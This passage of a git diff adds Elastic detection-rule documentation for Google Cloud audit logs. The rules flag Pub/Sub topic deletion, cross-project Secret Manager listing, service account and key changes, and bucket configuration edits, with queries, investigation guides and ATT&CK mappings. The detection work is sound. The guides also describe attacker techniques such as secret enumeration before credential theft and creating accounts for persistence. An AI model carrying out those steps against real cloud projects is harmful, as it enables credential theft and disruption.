Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Deletion* + + +Google Cloud Platform's Pub/Sub service facilitates asynchronous messaging, allowing applications to communicate by publishing messages to topics. Deleting a topic can disrupt this communication, potentially as a tactic for defense evasion. Adversaries might exploit this by deleting topics to impair defenses or hide their tracks. The detection rule monitors audit logs for successful topic deletions, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Publisher.DeleteTopic to identify the exact time and user or service account responsible for the deletion. +- Investigate the event.dataset:gcp.audit logs around the same timeframe to identify any related activities or anomalies that might indicate malicious intent or unauthorized access. +- Check the event.outcome:success to confirm the deletion was completed successfully and correlate it with any reported service disruptions or issues in the affected applications. +- Assess the permissions and roles of the user or service account involved in the deletion to determine if they had legitimate access and reasons for performing this action. +- Contact the user or team responsible for the deletion to verify if the action was intentional and authorized, and gather any additional context or justification for the deletion. +- Review any recent changes in IAM policies or configurations that might have inadvertently allowed unauthorized topic deletions. + + +*False positive analysis* + + +- Routine maintenance or updates by administrators can lead to legitimate topic deletions. To manage this, create exceptions for known maintenance periods or specific admin accounts. +- Automated scripts or tools that manage Pub/Sub topics might delete topics as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent topic creation and deletion. Exclude these environments from monitoring by filtering based on project IDs or environment tags. +- Scheduled clean-up jobs that remove unused or temporary topics can trigger false positives. Document these jobs and adjust the detection rule to ignore deletions occurring during their execution times. +- Changes in project requirements or architecture might necessitate topic deletions. Ensure that such changes are communicated and documented, allowing for temporary exceptions during the transition period. + + +*Response and remediation* + + +- Immediately assess the impact of the topic deletion by identifying affected services and applications that rely on the deleted topic for message flow. +- Restore the deleted topic from backup if available, or recreate the topic with the same configuration to resume normal operations. +- Notify relevant stakeholders, including application owners and security teams, about the incident and potential service disruptions. +- Review access logs and permissions to identify unauthorized access or privilege escalation that may have led to the topic deletion. +- Implement stricter access controls and permissions for Pub/Sub topics to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the deletion is part of a larger attack pattern. +- Enhance monitoring and alerting for Pub/Sub topic deletions to ensure rapid detection and response to similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.DeleteTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-secret-manager-listsecrets-across-multiple-projects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-secret-manager-listsecrets-across-multiple-projects.asciidoc new file mode 100644 index 0000000000..2fa8404fc7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-secret-manager-listsecrets-across-multiple-projects.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-gcp-secret-manager-listsecrets-across-multiple-projects]] +=== GCP Secret Manager ListSecrets Across Multiple Projects + +Detects a single identity listing Google Cloud Secret Manager secrets across many distinct projects in a short window. ListSecrets does not return secret values, but sweeping many projects is a common reconnaissance step before targeted AccessSecretVersion calls. Legitimate workloads typically list secrets within one project or a small set of projects; cross-project bursts from one user and source IP are uncommon outside security tooling or compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/secret-manager/docs/reference/rest/v1/projects.secrets/list + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: GCP +* Service: GCP Secret Manager + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GCP Secret Manager ListSecrets Across Multiple Projects* + + +This rule aggregates Secret Manager `ListSecrets` audit events per `client.user.email` and `source.ip` over the rule +lookback. It alerts when the same actor lists secrets in 10 or more distinct `cloud.project.id` values. Listing does +not retrieve secret payloads, but multi-project enumeration is a strong discovery signal ahead of credential access. + + +*Possible investigation steps* + + +- Review `Esql.cloud_project_id_values` to identify which projects were + enumerated and whether they include high-value or production workloads. +- Confirm whether `client.user.email`, `source.ip`, and + `Esql.user_agent_original_values` match expected administrators, CI/CD, or approved security scanners. +- Check `Esql.event_outcome_values` for mixed success and failure, which can indicate permission probing across projects + the identity cannot fully access. +- Hunt for follow-on Secret Manager activity from the same identity or IP, especially + `AccessSecretVersion`, `GetSecret`, and IAM policy changes on secrets or projects. +- Bound the burst with `Esql.earliest_timestamp` and `Esql.latest_timestamp`, then pivot in Discover on the same + `client.user.email` / `source.ip` for related GCP audit activity. + + +*False positive analysis* + + +- Documented CSPM, secret inventory, or compliance scanners that walk many projects will match; exclude those + principals after validation. +- Break-glass or org-admin troubleshooting can look similar; require change-management correlation before raising + severity. + + +*Response and remediation* + + +- If unauthorized, revoke or rotate the implicated credentials, review IAM bindings that grant + `secretmanager.secrets.list` across projects, and inspect for subsequent secret access or exfiltration. +- Restrict Secret Manager list permissions to least privilege and prefer per-project roles over org-wide grants for + human users. + + +==== Setup + + +The GCP Fleet integration (or Filebeat module) with audit logs for Secret Manager is required. `ListSecrets` is a +data-access method; enable DATA_READ audit logging for the Secret Manager API so these events are ingested into +`logs-gcp.audit-*`. + +See https://cloud.google.com/secret-manager/docs/audit-logging[Secret Manager audit logging] and +https://cloud.google.com/logging/docs/audit/configure-data-access[Configure Data Access audit logs]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _version, _index +| where data_stream.dataset == "gcp.audit" + and event.action == "google.cloud.secretmanager.v1.SecretManagerService.ListSecrets" + and cloud.project.id is not null + and client.user.email is not null + and source.ip is not null +| stats + Esql.cloud_project_id_count_distinct = count_distinct(cloud.project.id), + Esql.cloud_project_id_values = values(cloud.project.id), + Esql.event_count = count(*), + Esql.event_outcome_values = values(event.outcome), + Esql.client_user_id_values = values(client.user.id), + Esql.user_agent_original_values = values(user_agent.original), + Esql.earliest_timestamp = min(@timestamp), + Esql.latest_timestamp = max(@timestamp) + by client.user.email, source.ip, data_stream.namespace +| where Esql.cloud_project_id_count_distinct >= 10 +| keep + client.user.email, + source.ip, + Esql.cloud_project_id_count_distinct, + Esql.cloud_project_id_values, + Esql.event_count, + Esql.event_outcome_values, + Esql.client_user_id_values, + Esql.user_agent_original_values, + Esql.earliest_timestamp, + Esql.latest_timestamp, + data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-creation.asciidoc new file mode 100644 index 0000000000..33d4a34d6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-creation.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-gcp-service-account-creation]] +=== GCP Service Account Creation + +Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Creation* + + +In GCP, service accounts enable applications and VMs to interact with APIs securely. While essential for automation, they can be exploited if improperly managed. Adversaries might create service accounts to gain persistent access without detection. The detection rule monitors audit logs for successful service account creations, flagging potential unauthorized activities for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateServiceAccount to identify the time and source of the service account creation. +- Check the identity of the user or service that initiated the service account creation to determine if it aligns with expected administrative activities. +- Investigate the permissions and roles assigned to the newly created service account to assess if they are excessive or unusual for its intended purpose. +- Correlate the service account creation event with other recent activities in the environment to identify any suspicious patterns or anomalies. +- Verify if the service account is being used by any unauthorized applications or VMs by reviewing recent API calls and access logs associated with the account. + + +*False positive analysis* + + +- Routine service account creation by automated deployment tools or scripts can trigger false positives. Identify and document these tools, then create exceptions in the monitoring system to exclude these known activities. +- Service accounts created by trusted internal teams for legitimate projects may also be flagged. Establish a process for these teams to notify security personnel of planned service account creations, allowing for pre-approval and exclusion from alerts. +- Scheduled maintenance or updates that involve creating temporary service accounts can result in false positives. Coordinate with IT operations to understand their schedules and adjust monitoring rules to accommodate these activities. +- Third-party integrations that require service accounts might be mistakenly flagged. Maintain an inventory of authorized third-party services and their associated service accounts to quickly verify and exclude these from alerts. + + +*Response and remediation* + + +- Immediately disable the newly created service account to prevent any unauthorized access or actions. +- Review the IAM policy and permissions associated with the service account to ensure no excessive privileges were granted. +- Conduct a thorough audit of recent activities performed by the service account to identify any suspicious or unauthorized actions. +- Notify the security team and relevant stakeholders about the potential security incident for further investigation and coordination. +- Implement additional monitoring and alerting for service account creations to detect similar activities in the future. +- If malicious activity is confirmed, follow incident response procedures to contain and remediate any impact, including revoking access and conducting a security review of affected resources. +- Document the incident and response actions taken to improve future detection and response capabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-deletion.asciidoc new file mode 100644 index 0000000000..8906411633 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-deletion.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-gcp-service-account-deletion]] +=== GCP Service Account Deletion + +Identifies when a service account is deleted in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may delete a service account in order to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Deletion* + + +In Google Cloud Platform, service accounts are crucial for enabling applications and VMs to perform authorized actions without user intervention. Adversaries may exploit this by deleting service accounts to disrupt operations or remove access. The detection rule monitors audit logs for successful service account deletions, flagging potential malicious activity to ensure timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DeleteServiceAccount to identify the exact time and source of the deletion. +- Identify the user or service account that initiated the deletion by examining the actor information in the audit logs. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent actions by the same user or service account to determine if there is a pattern of suspicious activity. +- Investigate the context of the deleted service account, including its permissions and the resources it had access to, to assess the potential impact of its deletion. +- Contact the relevant team or individual responsible for the service account to verify if the deletion was authorized and intentional. +- If unauthorized, review access controls and consider implementing additional security measures to prevent future unauthorized deletions. + + +*False positive analysis* + + +- Routine maintenance or updates may involve the deletion and recreation of service accounts. To manage this, create exceptions for known maintenance activities by excluding specific service account names or associated project IDs during these periods. +- Automated scripts or deployment tools might delete and recreate service accounts as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by filtering based on the user or service account executing the script. +- Organizational policy changes or restructuring can lead to legitimate service account deletions. Coordinate with the IT or security team to document these changes and adjust the detection rule to exclude these known events. +- Test environments often involve frequent creation and deletion of service accounts. Exclude test project IDs or environments from the detection rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke any permissions associated with the deleted service account to prevent unauthorized access or actions by adversaries exploiting the deletion. +- Restore the deleted service account if possible, using GCP's undelete feature, to minimize disruption to business operations and restore normal functionality. +- Review and audit recent IAM activity logs to identify any unauthorized or suspicious actions that may have preceded or followed the service account deletion. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and facilitate coordinated response efforts. +- Implement additional monitoring on critical service accounts to detect and alert on any further unauthorized deletion attempts. +- Conduct a root cause analysis to determine how the service account deletion was initiated and address any security gaps or misconfigurations that allowed it. +- Enhance access controls and consider implementing multi-factor authentication for actions involving service account management to prevent similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-disabled.asciidoc new file mode 100644 index 0000000000..44e6a12ad3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-disabled.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-gcp-service-account-disabled]] +=== GCP Service Account Disabled + +Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Disabled* + + +In Google Cloud Platform, service accounts are crucial for applications and VMs to perform authorized actions without user intervention. Adversaries may disable these accounts to disrupt services, impacting business operations. The detection rule identifies successful disablement actions in audit logs, signaling potential malicious activity by correlating specific event actions and outcomes, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DisableServiceAccount to identify the exact time and source of the disablement action. +- Identify the user or service account that performed the disablement by examining the actor information in the audit logs. +- Check for any recent changes or unusual activities associated with the disabled service account, such as modifications to permissions or roles. +- Investigate any related events or actions in the audit logs around the same timeframe to identify potential patterns or additional suspicious activities. +- Assess the impact of the disabled service account on business operations by determining which applications or services were using the account. +- Contact relevant stakeholders or application owners to verify if the disablement was authorized or if it was an unexpected action. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may involve disabling service accounts temporarily. To manage this, create exceptions for known maintenance periods or specific administrator actions. +- Automated scripts or tools used for testing or deployment might disable service accounts as part of their process. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags. +- Organizational policy changes or restructuring might lead to intentional service account disablement. Document these changes and update the detection rule to recognize these legitimate actions. +- Service accounts associated with deprecated or retired applications may be disabled as part of cleanup efforts. Maintain an updated list of such applications and exclude related disablement actions from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected service account by revoking its permissions to prevent further unauthorized actions. +- Review the audit logs to identify any other suspicious activities associated with the disabled service account and assess the potential impact on business operations. +- Re-enable the service account if it is determined to be legitimate and necessary for business functions, ensuring that it is secured with appropriate permissions and monitoring. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for similar disablement actions on service accounts to detect and respond to future incidents promptly. +- Conduct a root cause analysis to understand how the service account was disabled and address any security gaps or misconfigurations that allowed the incident to occur. +- Consider implementing additional security measures such as multi-factor authentication and least privilege access to enhance the protection of service accounts. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DisableServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-key-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-key-creation.asciidoc new file mode 100644 index 0000000000..aae41cadc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-service-account-key-creation.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-gcp-service-account-key-creation]] +=== GCP Service Account Key Creation + +Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Key Creation* + + +In GCP, service accounts are crucial for applications to authenticate and interact with Google services securely. They use cryptographic keys for API access, which, if mismanaged, can be exploited by adversaries to gain unauthorized access. The detection rule monitors audit logs for new key creations, flagging potential misuse by identifying successful key generation events, thus helping to mitigate risks associated with unauthorized access. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.CreateServiceAccountKey to identify the service account involved in the key creation. +- Check the event.dataset:gcp.audit logs to determine the user or process that initiated the key creation and verify if it aligns with expected behavior or scheduled tasks. +- Investigate the permissions and roles assigned to the service account to assess the potential impact of the new key being used maliciously. +- Examine the event.outcome:success logs to confirm the successful creation of the key and cross-reference with any recent changes or deployments that might justify the key creation. +- Contact the owner or responsible team for the service account to verify if the key creation was authorized and necessary for their operations. +- Review any recent alerts or incidents related to the service account to identify patterns or repeated unauthorized activities. + + +*False positive analysis* + + +- Routine key rotations by automated processes can trigger alerts. To manage this, identify and whitelist these processes by their service account names or associated metadata. +- Development and testing environments often generate new keys frequently. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance activities by cloud administrators may involve key creation. Document these activities and create exceptions based on the timing and user accounts involved. +- Third-party integrations that require periodic key updates can cause false positives. Maintain a list of trusted third-party services and exclude their key creation events from alerts. +- Internal tools or scripts that programmatically create keys for operational purposes should be reviewed and, if deemed safe, added to an exception list based on their execution context. + + +*Response and remediation* + + +- Immediately revoke the newly created service account key to prevent unauthorized access. This can be done through the GCP Console or using the gcloud command-line tool. +- Conduct a thorough review of the service account's permissions to ensure they are aligned with the principle of least privilege. Remove any unnecessary permissions that could be exploited. +- Investigate the source of the key creation event by reviewing audit logs to identify the user or process responsible for the action. Determine if the action was authorized or if it indicates a potential compromise. +- If unauthorized access is suspected, rotate all keys associated with the affected service account and any other potentially compromised accounts to mitigate further risk. +- Implement additional monitoring and alerting for unusual service account activities, such as unexpected key creations or permission changes, to enhance detection of similar threats in the future. +- Escalate the incident to the security team for further investigation and to determine if additional containment or remediation actions are necessary, including notifying affected stakeholders if a breach is confirmed. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-configuration-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-configuration-modification.asciidoc new file mode 100644 index 0000000000..8ba3e43cc2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-configuration-modification.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-gcp-storage-bucket-configuration-modification]] +=== GCP Storage Bucket Configuration Modification + +Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/key-terms#buckets + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Configuration Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. Adversaries may alter bucket configurations to weaken security, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for successful configuration changes, flagging potential defense evasion attempts by identifying suspicious modifications to storage settings. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "storage.buckets.update" to identify the user or service account responsible for the configuration change. +- Examine the event.outcome field to confirm the success of the configuration modification and gather details on what specific changes were made to the storage bucket settings. +- Investigate the context of the change by checking the timestamp of the event to determine if it aligns with any known maintenance or deployment activities. +- Assess the permissions and roles of the user or service account involved in the modification to ensure they have the appropriate level of access and determine if any privilege escalation occurred. +- Cross-reference the modified bucket's configuration with security policies and best practices to identify any potential security weaknesses introduced by the change. +- Check for any other recent suspicious activities or alerts related to the same user or service account to identify patterns of potentially malicious behavior. +- If unauthorized changes are suspected, initiate a response plan to revert the configuration to its previous state and strengthen access controls to prevent future incidents. + + +*False positive analysis* + + +- Routine administrative updates to storage bucket configurations by authorized personnel can trigger alerts. To manage this, maintain a list of known administrators and their typical activities, and create exceptions for these actions in the monitoring system. +- Automated processes or scripts that regularly update bucket configurations for maintenance or compliance purposes may cause false positives. Identify these processes and exclude their actions from triggering alerts by using service accounts or specific identifiers. +- Changes made by cloud management tools or third-party services integrated with GCP might be flagged. Review and whitelist these tools if they are verified and necessary for operations. +- Scheduled updates or configuration changes as part of regular security audits can appear suspicious. Document these schedules and incorporate them into the monitoring system to prevent unnecessary alerts. +- Temporary configuration changes for testing or development purposes might be misinterpreted as threats. Ensure that such activities are logged and communicated to the security team to adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately revoke any unauthorized access to the affected GCP storage bucket by reviewing and adjusting IAM policies to ensure only legitimate users have access. +- Conduct a thorough review of recent bucket configuration changes to identify any unauthorized modifications and revert them to their original secure state. +- Isolate the affected storage bucket from the network if suspicious activity is detected, to prevent further unauthorized access or data exfiltration. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure coordinated response efforts. +- Implement additional logging and monitoring on the affected bucket to detect any further unauthorized access attempts or configuration changes. +- Review and update security policies and access controls for all GCP storage buckets to prevent similar incidents in the future. +- Escalate the incident to the cloud security team for a comprehensive analysis and to determine if further action is required, such as involving legal or compliance teams. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.buckets.update" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: 